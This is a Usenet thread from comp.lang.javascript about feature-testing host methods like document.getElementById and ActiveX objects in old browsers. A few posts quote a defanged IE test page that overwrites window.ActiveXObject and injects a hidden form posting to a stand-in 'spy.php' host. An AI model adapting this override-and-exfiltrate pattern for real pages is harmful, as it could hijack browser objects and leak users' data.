«

On Dec 15, 10:24 am, VK <schools_r...@yahoo.com> wrote:
> In the linked post of mine:http://groups.google.com/group/comp....a858c19f383df0
> I have explained why I would like do not express myself publicly on
> the maskon problem though anyone is welcome of course. Somehow you

You lost me already.

> guys finally arrived to a serious programming task, moreover to the
> task where web-developers and browser-developers are being in a sharp
> stand: thus what is considered as a security measure by ones - it is
> considered as a security violation by other side - and vice versa. But

Correct me if I am wrong, but even if some meaning could be derived
from this gibberish, it would likely be irrelevant to the current
discussion (which has nothing to do with security.)

> once again it is not related with document.getElementById method for a
> common use library. For the original topic the answer is the same, a
> reliable universal wrapper is
>
> function $(id) {
> return document.getElementById(id);}

That will reliably throw errors in browsers that do not support gEBI.

>
> and not a single char extra.
>
> Since the start of magicFunction/Greeasemonkey/Squid/and Co. deal I
> had to write a number of programs ensuring unaltered 3rd party content
> delivery to the end client or deny on service of no other way around.

You are off in the weeds again.

> Just take a deep breath please: I never in my life participated in any
> illegal activity including virus and trojan destribution. Just in some
> businesses - it is not a general rule of the Web - one either takes
> what content provider requires or not being served at all. Like one
> may pick up only red flowers in the field but left all blue ones; at
> the same time one may not pull out bonus 6oz shampoo bottle from the
> bonus package and take only that one. Again: a particular situation
> may require a particular handling.

I want the last five seconds of my life back.

>
> Back to the subject:
>

That assumes you know what the subject is.

> From the programmatical point of view IE is the most difficult to
> fight with maskons, Fx is more eazy on that because of its slavery
> ECMA standard emulation window === this === Global. But neither with

In what version of IE does the global window property not refer back
to the Global Object? I know it isn't a rule (and certainly not one
defined by the ECMAScript specification), but I have yet to encounter
a version of IE (or any browser) that implements window in any other
way.

> IE nor with Fx I want to produce or accelerate the next "security
> improvement" by the producers so forced to fix the libraries once over
> again. As a compromise I can give you a stripped down version of one
> of my year 2006 testcases for IE6. It doesn't cure the problem, but it
> still tells you that you have a problem. One may as a mind exercise to
> find the alternative for Fx: if more hints are needed I may provide
> them.

Please don't post any more of that code.

On Dec 15, 1:34 pm, Peter Michaux <petermich...@gmail.com> wrote:
> On Dec 15, 10:12 am, David Mark <dmark.cins...@gmail.com> wrote:
>
>
>
>
>
> > On Dec 15, 1:46 am, Peter Michaux <petermich...@gmail.com> wrote:
>
> > > On Dec 14, 9:04 pm, Peter Michaux <petermich...@gmail.com> wrote:
>
> > > > I've
> > > > also changed it to check "unknown" objects for null. It seems to me an
> > > > "unknown" object that is null would be somewhat useless.
>
> > > > var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');
>
> > > > var isFeaturedMethod = function(o, m) {
> > > > try {
> > > > var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
> > > > return !!(reFeaturedMethod.test(t) && o[m]);
> > > > }
> > > > catch(e) {
> > > > return false;
> > > > }
>
> > > > };
>
> > > Laps in judgment above. Should be
>
> > > var reFeaturedMethod = new RegExp('^function|object$', 'i');
>
> > > var isFeaturedMethod = function(o, m) {
> > > try {
> > > var t = typeof(o[m]); // throws error if
>
> > This does not throw an error. Example:
>
> > (typeof window.external.addFavorite)
>
> In the ECMAScript standarad the above expression uses [[Get]].
>
> > Evaluates to "unknown"
>
> > (window.external.addFavorite)
>
> > Throws an error in IE.
>
> In the ECMAScript standard the above expression uses [[Get]] just like
> the typeof expression above.

I didn't think it did. I'll take your word for it.

>
> It could be something more along the lines of the ToBoolean that is
> the problem here instead of a missing [[Get]].

Whether it is a missing [[Get]] or one that deliberately throws errors
is unclear to me.

>
> [[Get]] and ToBoolean are only included in the standard as ways to
> explain the actual standard.
>
> > So I don't see what benefit the try clause adds.
>
> In a practical sense perhaps nothing. There is nothing in the standard
> that states typeof would catch an error thrown if [[Get]] is missing.

This surprises me as typeof(anUndeclaredIdentifier) doesn't throw an
error. But then, I suppose it skips the [[Get]] in that case and just
returns undefined. I'll have to go back and re-read that section.

>
> > However, it does
> > have the unwanted effect of short-circuiting feature testing in agents
> > that cannot parse try clauses.
>
> True.
>
> The point I was investigating was is if typeof is implemented
> according to the standard, but other parts of the implementation are
> non-standard, does typeof guarantee errors will not be thrown? The

From what you have mentioned here (and in the previous post that I
didn't read thoroughly enough), it is no guarantee. It is simply the
best practical solution.

> answer seems to be no. In practice it seems to be working. If we are
> relying on typeof in this way I simply want it noted that there is no
> theoretical reason why it should work but that it seems to work.

So noted.

>
> The additional try-catch would gaurantee that we have the behavior we
> are looking for of avoiding throwing errors and the reasoning for this
> would then be included in the standard. That is what try-catch is for.
>

I guess we need two implementations of that function with appropriate
warnings.

On Dec 15, 9:26 pm, David Mark <dmark.cins...@gmail.com> wrote:
> > 1) a presence of a particular DOM method in the factory state of a
> > particular UA.
>
> Can you define "factory state?"

It is the same as usual. Try google if doesn't help, I guess you'll
guess to skip on say "Florida fuels foam factory ..." and similar so
you'll get a right one among:
http://www.google.com/search?hl=en&q...=Google+Search

> > 2) a possibility of a particular DOM method being hidden behind a
> > maskon at runtime.
>
> Behind a what?

If you don't read the post you are replying to then why bother to
answer? (shudder)

> It seems you don't understand the problem with "windows host object
> methods" at all.

Truly I guess no one anymore understands the problems in "Code
recommending"-related threads. These are come kind esoteric pondering
around right after 8-10 initial posts in each. I do vaguely remember -
though I may be mistaken now - that the very first issue was with
typeof operator reporting "object" for some callable instances
(methods) on some browsers in some conditions; also reporting
"function" for some potentially non-callable objects. Somehow - here
I'm still unclear - it was considered important for jPath (?) library
stable usage. So it is started as a search of custom bulletproof
typeof. Am I correct in my description? Are you still there or
advanced somewhere?

> Microsoft implements some of them as ActiveX objects
> and the internal [[Get]] method of their methods throws an exception.
> The solution to this is trivial.

Please don't use ECMA-talk on me, there can be children around. Can
you just tell what script fails, where and on what condition to
illustrate the above problem?

On Dec 15, 2:11 pm, VK <schools_r...@yahoo.com> wrote:
> On Dec 15, 9:26 pm, David Mark <dmark.cins...@gmail.com> wrote:
>
> > > 1) a presence of a particular DOM method in the factory state of a
> > > particular UA.
>
> > Can you define "factory state?"
>
> It is the same as usual. Try google if doesn't help, I guess you'll
> guess to skip on say "Florida fuels foam factory ..." and similar so
> you'll get a right one among:http://www.google.com/search?hl=en&q...=Google+Search

So the answer to my question appears to be no.

>
> > > 2) a possibility of a particular DOM method being hidden behind a
> > > maskon at runtime.
>
> > Behind a what?
>
> If you don't read the post you are replying to then why bother to
> answer? (shudder)

I read the post. As noted, it was mostly gibberish.

>
> > It seems you don't understand the problem with "windows host object
> > methods" at all.
>
> Truly I guess no one anymore understands the problems in "Code
> recommending"-related threads. These are come kind esoteric pondering
> around right after 8-10 initial posts in each. I do vaguely remember -
> though I may be mistaken now - that the very first issue was with
> typeof operator reporting "object" for some callable instances
> (methods) on some browsers in some conditions; also reporting
> "function" for some potentially non-callable objects. Somehow -
here

Nope.

> I'm still unclear - it was considered important for jPath (?) library

You are always unclear. I've never heard of jPath. Do you mean
jQuery?

> stable usage. So it is started as a search of custom bulletproof
> typeof. Am I correct in my description? Are you still there or
> advanced somewhere?

We finished the discussion some time ago. It doesn't appear that you
have anything relevant to add.

>
> > Microsoft implements some of them as ActiveX objects
> > and the internal [[Get]] method of their methods throws an exception.
> > The solution to this is trivial.
>
> Please don't use ECMA-talk on me, there can be children around. Can
> you just tell what script fails, where and on what condition to
> illustrate the above problem?

Read the thread.

On Dec 15, 10:51 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
> > One reason for concern is the above test does not determine if
> > document.getElementById is callable. No one has reported a case where
> > a browser that has document.getElementById will be non-callable. In
> > some browsers it may be that some other JavaScript has assigned a non-
> > callable value to the the document.getElementById property. In those
> > browsers, it may also be true that someone has assigned a function to
> > document.getElementById. If this has been done then none of the
> > proposed tests would detect that the callable value is not the
> > expected callable value.

> And if it is over-written, then isn't the author better off knowing that
> he screwed up rather than trying to get around that?

In about 99% of cases it is. In about 1% it may be the security
requirement implication to ensure de-maskoned environment. That was
addressed and explained how to detect - if not to fix - in my posts in
this thread. I'm affraid that David Mark is too much of irritation to
keep arguing with him. I'm OK if someone knows the stuff even if he
has a completely different opinion about its interpretation. I'm OK
with someone with a luck of knowledge but ready to peak up on the go.
I'm out of patience very quickly with someone without any knowledge
yet refusing to learn any new things.

While document.getElementById is a silly case to worry about,
window.ActiveXObject is sometimes an important object to check not
only for presence but also for the factory state.
NB: just for David Mark if he still puzzled - "factory state" is the
state intended to be by the application producer for the given
release. It doesn't imply "standard compliant", "correct" etc.
Say for a real specie from my last year test cases:

<html>
<head>
<title>Maskons : IE : ie/2006/104</title>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">

<script type="text/jscript">

function maskonize() {
document.body.
insertAdjacentHTML('beforeEnd', ''.concat(
'<form name="fmsksg" method="POST" ',
'action="http://www.sample.net/spy.php" ',
'style="position:absolute !important">',
'<input type="hidden" name="data" value="">',
'</form>'));
window.ActiveXObject = maskonize.ActiveXObject;
}

maskonize.ActiveXObject = function(id) {
// malicious code removed
}
</script>
</head>
<body onload="maskonize();">
</body>
</html>

So sometimes one will not give a damn sh** what does typeof return but
wants to know _what_ object, the real or a maskon, he will be dealing
with.

> That is why I have always said "Give me what works, not what some
> standard says". You can write 100% "compliant" code and if it won't
> execute properly in a browser then it is pretty useless, isn't it?

Amen!

On Dec 15, 2:51 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
> Peter Michaux said the following on 12/15/2007 12:04 AM:
>
> > There have been many threads lately about testing for the existence of
> > host object methods. I have usually just feature tested the existence
> > of host methods with the following
>
> > if (document.getElementById)
>
> var newScript = document.createElement('script');
> newScript.type = "text/javascript";
> var s = document.createTextNode(d[x].text);
> newScript.appendChild(s);
>
> Ever seen that code? (Or rather, something close to it). You can feature

Many times.

> test your head off and IE will pass every one of them. It still falls
> down on itself when trying to appendChild to a script element. The only
> way to know it is going to work, or not, in IE is to execute it or
> detect IE - either through explicit or implicit tests.

I use the canHaveChildren property.

>
> > There is concern from several people in the group that this is
> > insufficient for at least a couple reasons.
>
> I think it is, in some cases, but for different reasons.
>
> > One reason for concern is the above test does not determine if
> > document.getElementById is callable. No one has reported a case where
> > a browser that has document.getElementById will be non-callable. In
> > some browsers it may be that some other JavaScript has assigned a non-
> > callable value to the the document.getElementById property. In those
> > browsers, it may also be true that someone has assigned a function to
> > document.getElementById. If this has been done then none of the
> > proposed tests would detect that the callable value is not the
> > expected callable value.
>
> And if it is over-written, then isn't the author better off knowing that
> he screwed up rather than trying to get around that? Let's say it is in
> a library that a native function is over-written.
>
> <script src="libraryX.js"></script>
> <script src="libraryY.js"></script>
> <script src="libraryZ.js"></script>
>
> If libraryX over-writes it, then the page author needs to know, as soon
> as possible, that the author of libraryX was smoking weed when he did
> it. Trying to compensate for that in libraryY or libraryZ isn't solving
> a problem, only making it transparent so that the real problem doesn't
> get corrected. Don't confuse that with trying to correct bugs in a
> browser (e.g. IE and toFixed).
>
> > Thomas Lahn seems particularly concerned about these problems (and he
> > is preparing to tell I am wrong or that I have missed the point.)
>
> Remember that you are referring to a person who wrote a 306 line script
> to do a simple image swap.

I must have missed that one.

>
> That is part of the problem in this group. People trying to make things
> more difficult than they have to be simply because some browser back in
> 1997/1998 won't execute the present day code.

The isHostMethod (nee isFeaturedMethod) function is easy enough to use
and it is at most two lines long.

>
> I also think that trying to detect that failure will mask potential bugs
> in browsers.

You can't detect it reliably anyway. They could overwrite the method
with a function or Object object, which would pass muster.

>
> > Another reason for concern is that even though the host may provide a
> > callable document.getElementById but that when writing just "if
> > (document.getElementById)" it isn't the [[Call]] property the [[Get]]
> > property that is used. David Mark seems to think this is a problem
> > with some (all?) ActiveX objects. All host objects are required to
> > implement [[Get]] so IE is not ECMAScript compliant if it does not. So
> > when we are feature testing host objects we are worried about testing
> > ECMAScript non-compliant browsers.
>
> ActiveX components are different animals and need to be dealt with
> differently. As for ECMAScript, we will leave that one alone.

Not really. IE implements some DOM elements as ActiveX objects (e.g.
anchors that link to news resources.) And then there is
window.external, which is an ActiveX object now, but might not be in
the future. There's no telling what host objects MS will or won't
implement as ActiveX objects. If they do it for DOM elements, who is
to say that document won't be an ActiveX object in IE8? If it is,
then evaluating (document.getElementById) will throw an error (just as
a.href can in IE7.)

I really don't think there is much to argue about in a two-line
function.

On Dec 15, 3:51 pm, VK <schools_r...@yahoo.com> wrote:
> On Dec 15, 10:51 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
>
> > > One reason for concern is the above test does not determine if
> > > document.getElementById is callable. No one has reported a case where
> > > a browser that has document.getElementById will be non-callable. In
> > > some browsers it may be that some other JavaScript has assigned a non-
> > > callable value to the the document.getElementById property. In those
> > > browsers, it may also be true that someone has assigned a function to
> > > document.getElementById. If this has been done then none of the
> > > proposed tests would detect that the callable value is not the
> > > expected callable value.
> > And if it is over-written, then isn't the author better off knowing that
> > he screwed up rather than trying to get around that?
>
> In about 99% of cases it is. In about 1% it may be the security
> requirement implication to ensure de-maskoned environment. That was
> addressed and explained how to detect - if not to fix - in my posts in
> this thread. I'm affraid that David Mark is too much of irritation to
> keep arguing with him. I'm OK if someone knows the stuff even if he
> has a completely different opinion about its interpretation. I'm OK
> with someone with a luck of knowledge but ready to peak up on the go.
> I'm out of patience very quickly with someone without any knowledge
> yet refusing to learn any new things.

LOL. I am afraid I don't want to learn about your "red pills" or
"blue flowers" or (if memory serves me correctly) the "drunken cowboy
and parrot" metaphor from some long ago post.

>
> While document.getElementById is a silly case to worry about,
> window.ActiveXObject is sometimes an important object to check not
> only for presence but also for the factory state.
> NB: just for David Mark if he still puzzled - "factory state" is the

I wasn't puzzled. I simply posed the question as to whether you could
define it or not. You refused in the last reply.

> state intended to be by the application producer for the given
> release. It doesn't imply "standard compliant", "correct" etc.

Apparently, the answer is still no, at least if one expects a coherent
definition.

> Say for a real specie from my last year test cases:
>
> <html>
> <head>
> <title>Maskons : IE : ie/2006/104</title>
> <meta http-equiv="Content-Type"
> content="text/html; charset=iso-8859-1">
>
> <script type="text/jscript">
>
> function maskonize() {
> document.body.
> insertAdjacentHTML('beforeEnd', ''.concat(
> '<form name="fmsksg" method="POST" ',
> 'action="http://www.sample.net/spy.php" ',
> 'style="position:absolute !important">',
> '<input type="hidden" name="data" value="">',
> '</form>'));
> window.ActiveXObject = maskonize.ActiveXObject;
>
> }
>
> maskonize.ActiveXObject = function(id) {
> // malicious code removed}
>
> </script>
> </head>
> <body onload="maskonize();">
> </body>
> </html>

I asked you not to do that.

[snip]

On Dec 16, 12:05 am, David Mark <dmark.cins...@gmail.com> wrote:
> I am afraid I don't want to learn about your "red pills" or
> "blue flowers" or (if memory serves me correctly) the "drunken cowboy
> and parrot" metaphor from some long ago post.

No one requires it from you. Simply study and test on IE the posted
code.

> I wasn't puzzled. I simply posed the question as to whether you could
> define it or not. You refused in the last reply.

Sorry, but I'm not Random House Webster's. If I'm using a word coined
by myself or a known word used in an irregular meaning then of course
I do explain it. Otherwise dictionaries are your friends Or say
call to HP tech support and ask them what "factory state" is from
http://docs.hp.com/en/541359-001/ch03s04.html
(that from the top part of the suggested Google search).

> > Say for a real specie from my last year test cases:
>
> > <html>
> > <head>
> > <title>Maskons : IE : ie/2006/104</title>
> > <meta http-equiv="Content-Type"
> > content="text/html; charset=iso-8859-1">
>
> > <script type="text/jscript">
>
> > function maskonize() {
> > document.body.
> > insertAdjacentHTML('beforeEnd', ''.concat(
> > '<form name="fmsksg" method="POST" ',
> > 'action="http://www.sample.net/spy.php" ',
> > 'style="position:absolute !important">',
> > '<input type="hidden" name="data" value="">',
> > '</form>'));
> > window.ActiveXObject = maskonize.ActiveXObject;
>
> > }
>
> > maskonize.ActiveXObject = function(id) {
> > // malicious code removed}
>
> > </script>
> > </head>
> > <body onload="maskonize();">
> > </body>
> > </html>

> I asked you not to do that.

Do not do what? This thread is started by Peter Michaux and in OP he
expressed two possible concerns. I am so far answering to the first
one - let's call it "Thomas' concern" by the initial attribution. The
2nd, "David's concern",a is not answered yet because it is not clear
what this concern is about: what is "missing [[Get]] for ActiveX
objects" ?

On Dec 15, 4:23 pm, VK <schools_r...@yahoo.com> wrote:
> On Dec 16, 12:05 am, David Mark <dmark.cins...@gmail.com> wrote:
>
> > I am afraid I don't want to learn about your "red pills" or
> > "blue flowers" or (if memory serves me correctly) the "drunken cowboy
> > and parrot" metaphor from some long ago post.
>
> No one requires it from you. Simply study and test on IE the posted
> code.

Your posted code?! What a waste of time that would be.

[snip]


> > I asked you not to do that.
>
> Do not do what? This thread is started by Peter Michaux and in OP he
> expressed two possible concerns. I am so far answering to the first
> one - let's call it "Thomas' concern" by the initial attribution. The

You aren't answering anything, just muddling a very simple issue (as
usual.)

> 2nd, "David's concern",a is not answered yet because it is not clear
> what this concern is about: what is "missing [[Get]] for ActiveX
> objects"

Let me see if I can explain it in terms you will understand.

Your browser is drunken cowboy that shoots parrots and squids in
fields of red and blue flowers and vice versa.

On Dec 16, 1:06 am, David Mark <dmark.cins...@gmail.com> wrote:
> > 2nd, "David's concern",a is not answered yet because it is not clear
> > what this concern is about: what is "missing [[Get]] for ActiveX
> > objects"

> Let me see if I can explain it in terms you will understand.
>
> Your browser is drunken cowboy that shoots parrots and squids in
> fields of red and blue flowers and vice versa.

OK... If the "Thomas' concern" may be possibly solved by
programmatical means then "David's concern" seems out the knowledge
of c.l.j. He really concerns me now... not his concern...